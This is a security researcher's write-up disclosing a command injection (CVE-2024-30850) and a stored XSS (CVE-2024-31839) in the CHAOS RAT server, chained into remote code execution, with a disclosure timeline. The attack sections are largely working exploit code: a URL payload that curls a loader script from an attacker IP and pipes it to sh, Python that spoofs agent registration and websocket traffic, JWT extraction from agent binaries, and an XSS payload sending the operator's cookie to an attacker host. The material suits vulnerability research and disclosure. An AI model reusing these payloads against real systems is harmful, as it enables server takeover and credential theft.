PoC: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc

Introduction

CHAOS RAT is an open-source remote administration tool targeting Windows and Linux systems, most notably employed during cryptomining campaigns 1 observed by TrendMicro. I was able to discover an authenticated command injection vulnerability that can be chained with an XSS to execute commands on the RAT server.

I choose to look at CHAOS in more depth because of its apparent popularity (2.2k stars on github by the time of writing) and I am pretty familiar with golang.

Identifying command injection (CVE-2024-30850)

One of the first things I like to do when doing source code review is use a SAST tool like semgrep to quickly identify any areas I should first check. For golang code, I like using semgrep and gosec

semgrep --config auto ./
gosec ./...

After running these tools, we are able to identify a portion of the codebase that uses shell commands to build agent binaries on the server backend.

[/CHAOS/services/client/client_service.go:160] - G204 (CWE-78): Subprocess launched with variable (Confidence: HIGH, Severity: MEDIUM)                                                                                               
    159:                                                            
  > 160:        cmd := exec.Command("sh", "-c", buildCmd)           
    161:        cmd.Dir = "client/" 

This portion of the code exists within the BuildClient function. The BuildClient function will do some input validation, ensuring that address for the agent binary is either a valid IP or URL and the port is a valid port. It will also normalize the path of the optional filename for the agent binary. After this validation and sanitation, it will pass these parameters into buildStr command which will be executed on a shell.

func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) {
	if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
		return "", internal.ErrInvalidServerAddress
	}
	if !isValidPort(input.ServerPort) {
		return "", internal.ErrInvalidServerPort
	}

	filename, err := utils.NormalizeString(input.Filename)
	if err != nil {
		return "", err
	}

	newToken, err := c.GenerateNewToken()
	if err != nil {
		return "", err
	}

	const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go`

	filename = buildFilename(input.OSTarget, filename)
	buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename)

	cmd := exec.Command("sh", "-c", buildCmd)
	cmd.Dir = "client/"

	outputErr, err := cmd.CombinedOutput()
	if err != nil {
		return "", fmt.Errorf("%w:%s", err, outputErr)
	}
	return filename, nil
}

This function is called within the generateBinaryPostHandler function is mapped to the /generate POST route.

adminGroup.POST("/generate", handler.generateBinaryPostHandler)

The generateBinaryPostHandler function will pass attacker controller input (req.Address, req.Port and req.Filename) into the BuildClient function where the shell command are executed.

func (h *httpController) generateBinaryPostHandler(c *gin.Context) {
	var req request.GenerateClientRequestForm
	if err := c.ShouldBindWith(&req, binding.Form); err != nil {
		c.String(http.StatusBadRequest, err.Error())
		return
	}
	osTarget, err := strconv.Atoi(req.OSTarget)
	if err != nil {
		c.String(http.StatusBadRequest, err.Error())
		return
	}

	binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{
		ServerAddress: req.Address,
		ServerPort:    req.Port,
		OSTarget:      system.OSTargetIntMap[osTarget],
		Filename:      req.Filename,
		RunHidden:     utils.ParseCheckboxBoolean(req.RunHidden),
	})
	if err != nil {
		h.Logger.Error(err)
		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
		return
	}
	c.String(http.StatusOK, binary)
	return
}

This is what this code looks like on the frontend. The input boxes for Server Address, Server Port, and filename map to our req.Address, req.Port and req.Filename parameters

meow1

However, in this case, the input santization is insufficient to prevent comamnd injection. The application allows the server address to be an IP address OR a URL.

if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) {
	return "", internal.ErrInvalidServerAddress
}

With just a valid IP address alone, impactful command injection would surely be impossible. However, a valid URL allows enough shell metacharacters to download and execute a shell script from a remote server. Taking this hacktricks article2 as reference, I was able to construct what golang considers to be a valid URL that also downloads and executes additional shell commands from an attacker controlled server.

http://localhost'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'

Agent-based XSS (CVE-2024-31839)

To escalate the impact of this vulnerability (as the previous vulnerability would rely on guessing the RAT operators password), we must chain it with another issue such as authentication/authorization issues, xss, etc
When CHAOS generates the RAT agents, it will embed a static JWT token into all of the binaries, which is used to authenticate them into application routes used by RAT agents only. The following routes are available to agents.

authGroup.POST("/device", handler.setDeviceHandler)
authGroup.GET("/client", handler.clientHandler)
authGroup.GET("/download/:filename", handler.downloadFileHandler)
authGroup.POST("/upload", handler.uploadFileHandler)

The agent will hit the /device endpoint upon initial registration and will continue to periodically do so, we can spoof this process in python by sending the required agent information and an agent heartbeat.

def keep_connection(target, cookie, hostname, username, os_name, mac, ip):

    print("Spoofing agent connection")
    headers = {
            "Cookie": f"jwt={cookie}"
    }

    while True:
        data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())}
        r = requests.get(f"http://{target}/health", headers=headers)
        r = requests.post(f"http://{target}/device", headers=headers, json=data)
        time.sleep(30)

The agent will also open a websocket connection with the server for more interactive commands.

case "getos"
case "screenshot"
case "shutdown"
case "restart"
...

We can also spoof this websocket connection in our exploit script

def handle_command(target, cookie, mac, ip, port):
    headers = {
        "Cookie": f"jwt={cookie}",
        "X-Client": mac
    }

    ws = websocket.WebSocket()
    ws.connect(f'ws://{target}/client', header=headers)
    while True:
        response = ws.recv()
        ...

This means that, if we are able to retrieve a RAT agent binary (from a staging directory, malware repository or a filesystem during incident response) we would be able to extract the JWT and open a lot more attack surface. We could potentially trigger the RCE from a much lower privilege level! Extracting both the JWT and the RAT server address from a golang binary is as simple as using some regex patterns in python since these are embedded into the binary, and there are no obfuscation options during build.

def extract_client_info(path):
    with open(path, 'rb') as f:
        data = str(f.read())

    address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}"
    address_pattern = re.compile(address_regexp)
    address = address_pattern.findall(data)[0].split("=")[1]

    port_regexp = r"main\.Port=\d{1,6}"
    port_pattern = re.compile(port_regexp)
    port = port_pattern.findall(data)[0].split("=")[1]

    jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*"
    jwt_pattern = re.compile(jwt_regexp)
    jwt = jwt_pattern.findall(data)[0].split("=")[1]

    return f"{address}:{port}", jwt

Now we can start to look at the attack surface of the application from the perspective of an authenticated agent. Reviewing the agent routes, I was able to identify an XSS that could be triggered by the RAT operator interacting with the agent. This XSS allows us to execute arbitrary javascript in the context of the administrator and trigger the command injection vulnerability.

The vulnerability exists within the sendCommandHandler, where an attacker controlled response is added to the DOM without any sanitization. The attacker can control the “output” variable by spoofing an agent callback and waiting for a RAT operator to interact with the agent. Since we will be spoofing the agent with python code, the output can be arbitrary, attacker controlled data.

func (h *httpController) sendCommandHandler(c *gin.Context) {
	var form request.SendCommandRequestForm
	if err := c.ShouldBind(&form); err != nil {
		c.String(http.StatusBadRequest, err.Error())
		return
	}
	if len(strings.TrimSpace(form.Command)) == 0 {
		c.String(http.StatusOK, internal.NoContent)
		return
	}

	clientID, err := utils.DecodeBase64(form.Address)
	if err != nil {
		c.String(http.StatusBadRequest, err.Error())
		return
	}

	ctxWithTimeout, cancel := context.WithTimeout(c, 10*time.Second)
	defer cancel()

	output, err := h.ClientService.SendCommand(ctxWithTimeout, client.SendCommandInput{
		ClientID:  clientID,
		Command:   form.Command,
		Parameter: form.Parameter,
	})
	if err != nil {
		c.String(http.StatusInternalServerError, err.Error())
		return
	}
	c.String(http.StatusOK, output.Response) // HERE
}

The sendCommandHandler function is mapped to the /command route, which is the route an admin will hit when interacting with the agent. Once they do so, we can trigger the command injection vulnerability and takeover the RAT server.

adminGroup.POST("/command", handler.sendCommandHandler)

We can edit our function that creates the websocket connection to include a payload that will send the panel operator’s cookie back to the attacker and include a video as command output for rickrolling.

def handle_command(target, cookie, mac, ip, port):
    print("Waiting to serve malicious command outupt")
    headers = {
        "Cookie": f"jwt={cookie}",
        "X-Client": mac
    }

    ws = websocket.WebSocket()
    ws.connect(f'ws://{target}/client', header=headers)
    while True:
        response = ws.recv()

        command = json.loads(response)['command']
        data = {"client_id": mac, "response": convert_to_int_array(f"</pre><script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script><video loop controls autoplay><source src=\"http://{ip}:{port}/video.mp4\" type=\"video/mp4\"></video>"), "has_error": False}

        ws.send_binary(json.dumps(data))

Once the cookie has been received, it can be used to exploit the command injection vulnerability

def run_exploit(cookie, target, ip, port):
    print(f"Exploiting {target} with JWT {cookie}")
    conn = http.client.HTTPConnection(target)
    headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932',
        'Cookie': f'jwt={cookie}'
    }
    conn.request(
        'POST',
        '/generate',
        f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://localhost\'$(IFS=];b=curl]{ip}:{port}/loader.sh;$b|sh)\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',
        headers
    )

Full POC: https://github.com/chebuya/CVE-2024-30850-chaos-rat-rce-poc

Disclosure

2024-04-05 Notified developer
2024-05-29 Developer pushes patch